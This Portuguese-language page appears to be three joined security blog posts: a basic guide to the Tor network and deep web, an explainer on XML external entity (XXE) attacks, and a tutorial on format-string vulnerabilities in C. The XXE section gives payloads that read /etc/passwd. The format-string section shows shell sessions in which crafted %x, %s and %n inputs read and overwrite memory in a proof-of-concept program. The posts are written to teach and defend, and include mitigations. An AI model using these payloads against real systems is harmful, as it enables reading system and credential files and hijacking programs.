Desmistificando a Deep Web – Um guia básico



A Mariana’s Web, conhecida vulgarmente também como “Deep Web”, refere-se a todas as partes da internet que não podem ser indexadas pelos motores de busca convencionais. Por conseguinte, a Deep Web inclui dados contidos em data base privados, estudos acadêmicos, sites de acesso restrito, fóruns, etc.
Muitos usuários utilizam a Deep Web para trocar informações e documentar dados importantes anonimamente, sendo uma incrível ferramenta para dar voz a todos. É utilizado também por aqueles que lutam contra regimes ditatoriais, empregados insatisfeitos, vítimas que queiram denunciar seus algozes, entre outros.
Porém, isso abre margem também para usuários que queiram cometer atos ilícitos, como venda de drogas, armas, tráfico humano e pedofilia.
As pessoas normalmente tratam a Deep Web por termologias errôneas, como tendo “camadas”, quando isso não é uma verdade. A Deep Web é na verdade organizada através de redes totalmente independentes entre si, por exemplo, as redes ONION (Tor), Freenet, I2P, Hyperboria, Retroshare, Hybridshare, JAP, Clos, Galet, Zeronet, Psiphon, Oneswarm, Osíris, Ants, etc.
A mais básica de ser acessada é a rede .onion (Tor). Para acessá-la, basta conectar-se ao TOR, colocar algum link e navegar. Para acessar a i2p, por exemplo, é necessário que haja algumas configurações de IP, o que requer um nível intermediário de conhecimento do usuário. Outro exemplo é a rede .clos, que exige um nível avançado do usuário para ser acessada, sendo necessário até o uso de keys para acessar certos sites.
Neste artigo iremos tratar somente da rede Onion (tor) para reduzir o escopo. Esta rede é um ótimo princípio para se visualizar as possibilidades e perigos existentes dentro da Deep Web.


O QUE É E COMO FUNCIONA O TOR?

O Tor é uma ferramenta de código aberto que tem como objetivo fornecer anonimato e privacidade para aqueles que utilizam a internet. O seu proposito é impedir que algum órgão ou, alguém, saiba identificar quais sites um usuário está visitando, além de prevenir que os sites identifiquem o seu utilizador. Alguns usuários valorizam o anonimato do Tor por tornar mais difícil para que governos censurem sites ou conteúdos que podem estar hospedados em outros lugares do mundo.

Os voluntários do Tor executam milhares de "relays" para o projeto Tor. "Relay" é um servidor que permite que qualquer outro usuário possa fazer requisições de rotas de acesso para trafegar através delas.



A figura acima ilustra o caso simples de um único relay, com três utilizadores lhe pedindo para encaminhar o tráfego para três sites. Um observador pode ver o tráfego entrando e saindo do relay, mas não pode determinar qual é o usuário que está visitando qual site e porque o tráfego é criptografado. No entanto, se o operador é um relay malicioso, eles podem trivialmente (com facilidade, a partir de uma técnica de ponto de vista) ligar os dois.
Quando um usuário visita um site através de um relay, o seu tráfego parece vir dele em vez de mostrar a real localização do usuário. Assim, o usuário permanece anônimo ao site em si.

Para se defender contra um operador de relay malicioso, o usuário escolhe três deles e encadeia os três juntos. Eles são rotulados como Guard, Middle e exit, conhecido também como circuito threehop (veja a Figura 2). Isso faz com que um ataque se torne significativamente trabalhoso, pois um atacante precisa controlar todos os três relays para ser capaz de ligar os utilizadores utilizando o Tor aos locais de onde estão visitando os sites. O atacante é incapaz de influenciar a escolha/decisão dos relays feita pelo browser do usuário. A única opção de um atacante seria, portanto, controlar um número significativo de relays na esperança de que o sistema do usuário escolha três dentro de seu escopo de controle, e isto é pensado para ser impraticável.



Serviços ocultos - Hidden Services

Embora a capacidade de acessar a Internet anonimamente seja valiosa em países onde as liberdades pessoais são restritas, isso é apenas uma das características do Tor. A outra característica importante são os "serviços ocultos" (Hidden services - HSES), a capacidade de hospedar um site (ou de serviços de Internet) de forma anônima.
Dentro deste caso, tanto o visitante quanto o site são anônimos entre si. Usando esse recurso, blogs políticos ou fóruns podem ser hospedados em regimes repressivos, sem medo de punição. Tal como acontece com qualquer outra tecnologia, tal como esta, a rede Tor também permite a possibilidade de material orientado criminalmente a ser hospedado com um grau significativo de impunidade. A coleção de Tor HSES é muitas vezes referida como a Dark net, embora existam outras ferramentas menos populares, que também podem ser considerados no mesmo foco (por exemplo, a Internet Invisible Projeto, conhecido como I2P).
É crucial saber como serviços ocultos trabalham para ser capaz de entender a metodologia utilizada na medição da atividade na Dark Net. Vamos supor que João está hospedando um HS e Maria deseja visitar o seu site. Quando João primeiro cria seu site, ele constrói um documento detalhando os "pontos de introdução", ou relays dentro da rede que poderão retransmitir mensagens para ele. Ele publica este documento em uma tabela hash distribuída (DHT), que pode ser pensada como um diretório de banco de dados distribuídos por todos os relays na rede, ou seja, não há controles de relays simples ou possui todas as DHT em qualquer tempo em que for acessado. Para criar essa base de dados, todos os relays da rede são colocados em um círculo e ordenados de acordo com um identificador único (Veja a Figura 3, os relays são rotulados como h). O Hidden Service é então mapeado no círculo em dois pontos. João publica informações sobre sua introdução e aponta para os três relay para cada um destes locais, de modo que existem cópias em exatamente seis relays. Ao publicar a informação, ele usa um circuito de três hops “pulos” para permanecer anônimo aos diretórios de retransmissão dos relays.



O local em que João publica neste diretório aparecem aleatórios, se alterando todos os dias, mas é possível para Maria descobrir suas informações. A localização muda diariamente para tornar mais difícil para uma pessoa para controlar os relays que detêm informações do João.
Maria, então, calcula quais relays no circuito contêm as informações de João e constrói o circuito de “três de salto” three-hop para os relays, solicitando uma cópia de sua informação. Ao utilizar um circuito three-hop, ele permanece anônimo para os diretórios dos relays. Ela agora tem informações sobre a introdução de João, que aponta e transmite uma mensagem a um deles para pedir a João para construir uma conexão para um relay de encontro que ela escolhe. O relay encontra e passa a retransmitir a mensagens entre João e Maria, e uma vez que ambos têm uma conexão, o relay de encontro através de circuitos de three-hop, o relay não sabe a identidade de qualquer uma das partes. O “relay de encontro” não pode inspecionar o tráfego, porque ele é criptografado.

Utilizações úteis na Deep Web
Com os casos recentes de representação na mídia mainstream, somente as más utilizações da Deep Web são documentadas. Neste artigo, também quero exaltar as utilizações positivas da rede:


  • Megabancos de dados multi-URL que são muito grandes para os mecanismos de pesquisa indexarem corretamente.

  • Páginas de acesso temporizadas. Isso pode incluir a página da Web interna para um teste que você está realizando em um curso on-line.

  • Sites protegidos por senha e somente para membros.

  • Registros, certificados, diretórios de nomes, índices de bibliotecas, etc.

  • Conteúdo de mídia digital bloqueado em um paywall. As organizações de notícias usam isso como parte de seu modelo de receita para incentivar leitores/espectadores a se inscrever e pagar por reportagens jornalísticas.

  • O painel de back-end de qualquer tipo de conta individual, seja bancário, plataformas sociais, serviços de e-mail, etc. Isso só está disponível depois que uma conta é conectada e acessada. Em seguida, a URL é alterada para um endereço particular de acordo.

  • Comunicações de usuário a usuário de duas partes ou segmentos nas redes sociais, serviços de bate-papo, plataformas de mensagens, etc.

Principais grupos (não criminosos) que se beneficiam dos recursos de comunicações criptografadas na Deep Web

Denunciantes e jornalistas

Agente de inteligência nacional, funcionários do governo, funcionários corporativos, cidadãos comuns, ex-espiões, membros das forças armadas… são todos os tipos de indivíduos que, sob a máscara do anonimato, podem comunicar informações confidenciais aos jornalistas para expor as irregularidades. Denunciantes imprevisíveis como Edward Snowden e Chelsea Manning usaram essa rota para compartilhar documentos confidenciais e expor atos duvidosos de seus governos/contratantes.

Defensores da liberdade de expressão e anti-censura e manifestantes políticos

Qualquer um que procure fugir da vigilância do governo (que, em muitos casos, poderia mais tarde ser usado para oprimir a liberdade de expressão) encontra na Deep Web um bom lugar para se comunicar anonimamente.

Cidadãos em locais com regimes opressores que precisam de acesso a notícias e informações que não conseguem em seu país

A Deep Web também é composta por sites e serviços que são especificamente reunidos para acesso em locais onde informações são bloqueadas. Isso significa que eles são acessíveis através do Tor ou em outras redes obscuras.
Para mais informações, no final do artigo, seguem vários links de referência para um estudo mais aprofundado sobre o tema.


Boas praticas para a utilização da rede Onion (TOR)

Nesta parte do artigo, demonstramos algumas boas práticas para a utilização da rede TOR.



1.    Primeira regra: tenha consciência do que você está fazendo
Caso você queira fazer parte de algum fórum ou qualquer outro método de discussão dentro da Deep Web, mantenha sempre o anonimato. Evite utilizar a mesma conexão para acessar outros sites que não sejam somente os da Deep Web. Por mais que acessar a rede onion seja algo relativamente fácil e não tão perigoso quanto é dito por ai, a melhor ferramenta de segurança que possuímos é a consciência do que estamos fazendo. Bloqueie a execução automática de javascript (isso já vem configurado por default no browser Tor) e não baixe nada sem antes fazer uma verificação detalhada, aliás, evite fazer download na Deep Web.

2.    Segunda regra: utilize uma máquina virtual
Faça o uso de máquinas virtuais para que você consiga ter um melhor controle de um ambiente controlado.
Programas aconselhados:
·         Oracle VM VirtualBox – download: https://www.virtualbox.org/wiki/Downloads
·         Vmware - download: https://my.vmware.com/web/vmware/downloads
·         Qubes OS - https://www.qubes-os.org/downloads/

3.    Terceira regra: utilize sistemas operacionais em modo “live
Aconselho você a utilizar um sistema operacional Linux que tenha um modo live de operação. Como estou fazendo este documento para uma equipe com direcionamento para segurança, recomendo que algum dos sistemas operacionais abaixo sejam usados:
·         Kali Linux – download: https://www.kali.org/downloads/
·         Parrot Os – download: https://www.parrotsec.org/download-home.php
·         Tails OS – download: https://tails.boum.org/index.en.html

4.    Quarta regra: utilize o Tor
Os links .onion são acessíveis em qualquer browser, basta somente adicionar um .link após a terminação onion. Porém, sem o TOR você perde toda a sua anonimidade ao acessar estes sites.
Caso o seu sistema Linux não venha com o TOR por default, faça o download do mesmo e realize a sua instalação.
O TOR está disponível também para Microsoft Windows, Apple OS X e até mesmo para Android.

5.    Quinta regra: utilize a placa de rede em modo NIC (opcional)
Esta regra é opcional, porém recomendada para quem é extremamente precavido. Por padrão, a tradução de endereços de rede (NAT) é configurada pelo software de virtualização (VM) de tal forma que o OS instalado partilha um endereço IP com o host. Efetivamente, isto significa que os dois compartilham uma conexão com a internet e os pacotes podem ser interceptados, em ambos os sentidos e em ambas as máquinas. Além disso, com esta configuração padrão, um malware pode comprometer os drivers do software de virtualização e aumentar a superfície de ataque também. A melhor maneira de evitar isso é utilizar uma conexão NIC (sic), ou seja, usar um cartão de interface de rede dedicada em seu sistema operacional rodando na VM. Em termos leigos: utilize um adaptador WiFi e configure no VirtualBox para conectá-lo à sua máquina virtual. Para segurança adicional, altere o endereço MAC do seu NIC dedicado (agora controlado pelo OS no VM). Estas medidas devem assegurar que o tráfego entre o sistema operacional host e o sistema operacional convidado nunca se misturem.

Conclusão
Para finalizar, queremos deixar claro que a Deep Web é um lugar fascinante para qualquer pessoa da internet. Ela pode oferecer todo tipo de conhecimento, registros, dados e conteúdo que uma pessoa poderia passar dias pesquisando. Pode levar alguns passos para percorrer os vários links e caminhos virtuais para encontrar os temas que você está procurando, mas isso faz parte da diversão.
A Deep Web pode ser uma ferramenta maravilhosa e extremamente poderosa, pois conhecimento é poder. Se você está pronto para a tarefa, pode encontrar as respostas que está procurando em suas profundezas. Basta fazer as perguntas certas!


Referências:

XML eXternal Entity (XXE)


O Ataque XXE é um tipo específico de Server-Side Request Forgery (SSRF) e acontece quando uma request utilizando XML é tratada de forma insegura, possibilitando assim a queda do serviço e/ou o acesso direto aos arquivos e informações do servidor, entre outros impactos. Isso acontece quando a informação recebida pelo servidor, contendo referência a uma entidade externa, é processada de forma insegura.
Uma das formas mais comuns de exploração é o caso de campos de upload de arquivo, em que o arquivo importado tem efeito direto na aplicação. É importante ressaltar que arquivos com outras extensões como docx, pptx, pdf, entre outros, também possuem dados em XML em sua construção. Logo, o ataque não se limita apenas à passagem simples de dados em XML nas request ou apenas a arquivos de extensão .xml.
Uma das características do XML é permitir que o desenvolvedor referencie dados armazenados local ou remotamente a um dado endereço.
Os códigos abaixo, por exemplo, possibilitam o acesso ao arquivo passwd e lsb-release respectivamente.
      <?xml version="1.0" encoding="ISO-8859-1"?>
      <!DOCTYPE foo [
       <!ELEMENT foo ANY >
       <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>

POST http://example.com/xml HTTP/1.1

      <!DOCTYPE foo [
      <!ELEMENT foo ANY>
      <!ENTITY bar SYSTEM "file:///etc/lsb-release">
]>
<foo>
&bar;
</foo>

O modo mais seguro de prevenir o XXE é desabilitando o seu uso completamente. Quando não é possível desabilitar o recurso, entidades externas e declarações de tipo de documento externo devem ser desativadas de maneira específica para cada parser.

Tratativas:
Em alguns casos, a tratativa não é tão simples, devido a problemas nas bibliotecas que realizam o parse do XML.
Em códigos PHP, por exemplo, habilitar a libxml_disable_entity_loader mitiga este tipo de problema.
Aplicações em Java que utilizam bibliotecas XML costumam ser vulneráveis por possibilitarem de forma padrão o uso de entidades externas. É necessário desativá-las.
Em C/C++, para a biblioteca libxml2, as opções XML_PARSE_NOENT e XML_PARSE_DTDLOAD não devem ser definidas.
Para estas e outras opções de mitigações em outras linguagens, recomendamos a leitura da OWASP: https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

Conclusão
A vulnerabilidade apresentada é simples, mas seu risco é muito alto. Hoje, muitas bibliotecas que utilizam XML para leitura de dados já possuem seus meios de mitigação, mas ainda assim, desenvolvedores desavisados podem deixar passar este recurso e possibilitar sua exploração.

Referências
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
https://www.infosec.com.br/xml-external-entity/
https://www.acunetix.com/blog/articles/xml-external-entity-xxe-vulnerabilities/
https://resources.infosecinstitute.com/xxe-attacks/#gref
https://www.bugcrowd.com/advice-from-a-bug-hunter-xxe/
https://depthsecurity.com/blog/exploitation-xml-external-entity-xxe-injection

Format Strings





            Este post aborda a vulnerabilidade conhecida por “Format Strings”, que pode ser utilizada na exploração de binários em sistemas Unix.
O objetivo não é ensinar ao leitor como explorar a vulnerabilidade, mas sim alertar que implementações desenvolvidas de maneira incorreta podem se tornar um crítico vetor de exploração, comprometendo drasticamente a segurança da aplicação.
O conteúdo aqui apresentado não é “entry level” e, embora a postagem tenha sido elaborada buscando a utilização de uma linguagem facilitada, o assunto depende da assimilação prévia de conceitos implícitos ao tema.  
           

O que é String?

É a identificação de uma sequência de caracteres, geralmente usada para representações de texto. Em linguagem C, não existe um tipo de dado que declare nativamente uma string, na verdade, trata-se de um vetor do tipo “char”, obrigatoriamente terminado em um caractere nulo “\0”, que identifica o final da string.

            char nome[80];

A declaração da string acima cria um vetor de caracteres com 81 posições, considerando a necessidade da indicação do final da string ser referenciada por um caractere nulo. Dessa maneira, o armazenamento do nome deve ocupar as 80 posições e ser finalizado por “\0” na posição 81.


Entendendo a Vulnerabilidade

            Como em grande parte das vulnerabilidades, a exploração de Format Strings é diretamente relacionada a um erro de implementação, onde o programador não trata corretamente o “tipo” de saída da string. Por meio desta técnica é possível ganhar controle do fluxo de execução de um programa vulnerável.
Essa vulnerabilidade pode ser encontrada em funções da família printf (printf, vsprintf, fprintf, vsnpr, sprintf, vfprintf, snprintf,  vprintf) e explorada por meio do abuso dos formatadores (%d, %s, %u, %n):
Para exemplificar de maneira prática vamos ao seguinte trecho de código:

//dados de entrada
  AAAA.%x.%x.%x.%x

// recebendo valor para variável texto
  strcpy(texto, argv[1]);

// método de exibição utilizado de maneira correta
  printf("Saída: ");
  printf("%s", texto);
  Saída: AAAA.%x.%x.%x.%x 

// método de exibição utilizado de maneira incorreta
  printf("Saída: ");
  printf(texto);
  Saída: AAAA.bff6e518.0.4e91f3.41414141

Perceba que, quando a implementação é feita de maneira incorreta (vulnerável), são retornados endereços de memória em formato hexadecimal. Por meio da técnica de exploração de Format Strings, essa saída, devidamente manipulada, pode ser utilizada por um atacante para ganhar controle do fluxo de execução do programa.
Os argumentos passados para a função são inseridos na pilha em ordem reversa, no modo e operação LIFO (last in first out), logo, o trecho de código abaixo justifica essa afirmação.

printf("A eh %d e esta em %08x. B eh %x.\n", A, &A, B);
A eh 5 e esta em 71dba9d8. B eh 7.

Endereço da string formatada
Valor de A
Endereço de A
Valor de B
Fundo da Pilha
* Representação da pilha de memória

Ainda analisando a execução, se o último parâmetro for removido, a saída apresentada deve ser algo do tipo:

printf("A eh %d e esta em %08x. B eh %x.\n", A, &A);
A eh 5 e esta em bfe541d8. B e 4771d0.

            Nota-se que o valor 0x4771d0, foi despejado pois não havia um valor armazenado na pilha, logo, a resposta apresentou os dados de onde o último argumento seria armazenado.


Leitura e Escrita com Format Strings

            Por meio da manipulação dos parâmetros de formatação, essa vulnerabilidade permite que seja possível realizar procedimentos de leitura e gravação de endereços de memória arbitrários.
Utilizando o formatador %s é possível efetuar a leitura de endereços, bem como, utilizando a mesma técnica por meio do formatador %n é possível a gravação.
Por exemplo:

Leitura: Para ler a variável de ambiente “LOGNAME” (lembrando que é necessário adicionar 4 bytes devido a diferença de 2 bytes entre os nomes “poc_fms1” e “getenvaddr”):

root@kali:~ # env|grep LOGNAME
LOGNAME=root

root@kali:~# ./getenvaddr LOGNAME ./poc_fms1
LOGNAME will be at 0xbffffeac

root@kali:~# ./poc_fms1 $(printf "\xAC\xfE\xff\xbf")%08x.%08x.%08x.%s
O metodo correto:
%08x.%08x.%08x.%s
O metodo incorreto:
bfffeea0.b7fd0110.080491dd.root
[*] valor_teste -> 0x0804c02c = -72 0xffffffb8

Escrita: para exemplificar o processo de escrita, aos mesmos moldes das operações realizadas para a leitura, porém formatando a saída com %n, foi possível sobrescrever a variável valor_teste.

root@kali:~ # ./poc_fms1 $(printf "\x2c\xc0\x04\x08")%08x.%08x.%08x.%n
O metodo correto:
,%08x.%08x.%08x.%n
O metodo incorreto:
,bfffeea0.b7fd0110.080491dd.
[*] valor_teste -> 0x0804c02c = 31 0x0000001f

Obs.: é possível realizar a manipulação também alterando o tamanho do campo a ser apresentado

root@kali:~ # ./poc_fms1 $(printf "\x2c\xc0\x04\x08")%x.%x.%120x.%n
O metodo correto:
,%x.%x.%120x.%n
O metodo incorreto:
,bfffeeb0.b7fd0110.                                                                                                                 80491dd.
[*] valor_teste -> 0x0804c02c = 143 0x0000008f
*perceba a criação de linhas em branco

O formatador %n grava os dados e não apresenta nenhuma saída. Ao encontrar o formatador %n, a função grava o número de bytes que foram escritos até então no endereço do argumento da função correspondente e o operador do endereço unitário é usado para gravar os dados das variáveis.


Operações de Acesso Direto

Para “reduzir” esforços durante o desenvolvimento dos exploits que utilizam “Format String”, é possível que os parâmetros sejam acessados diretamente utilizando o sinal de “$” %n$d, conforme exemplificado abaixo:

printf("Quinto elemento: %5$d, Quarto elemento: %4$05d\n", 1, 2, 3, 4, 5, 6, 7, 8);
Quinto elemento: 5, Quarto elemento: 00004


Escritas Curtas

Um dado do tipo “short”, é uma palavra (WORD) de dois bytes e, recorrendo ao formatador %hn, esta técnica pode ser utilizada para também facilitar a exploração. A execução consiste na utilização dos formatadores para escrever um valor de quatro bytes com o uso de apenas dois parâmetros (%hn).


Conclusão

            Para que seja possível efetivar a exploração por meio da técnica de Format Strings, permitindo a possibilidade e interação do atacante com o alvo por meio de um interpretador de comandos, o uso de alguns outros recursos se faz necessário, como por exemplo a utilização de construtores e destrutores (.ctors, .dtors), ou mesmo sobrescrevendo a “Global Offset Table”. Detalhes foram suprimidos intencionalmente, considerando que este post não tem a finalidade de instruir o processo de exploração.


Referências
            http://phrack.org/issues/59/7.html
Book: Hacking, The Art Of Exploitation
Book: The Shellcoders Handbook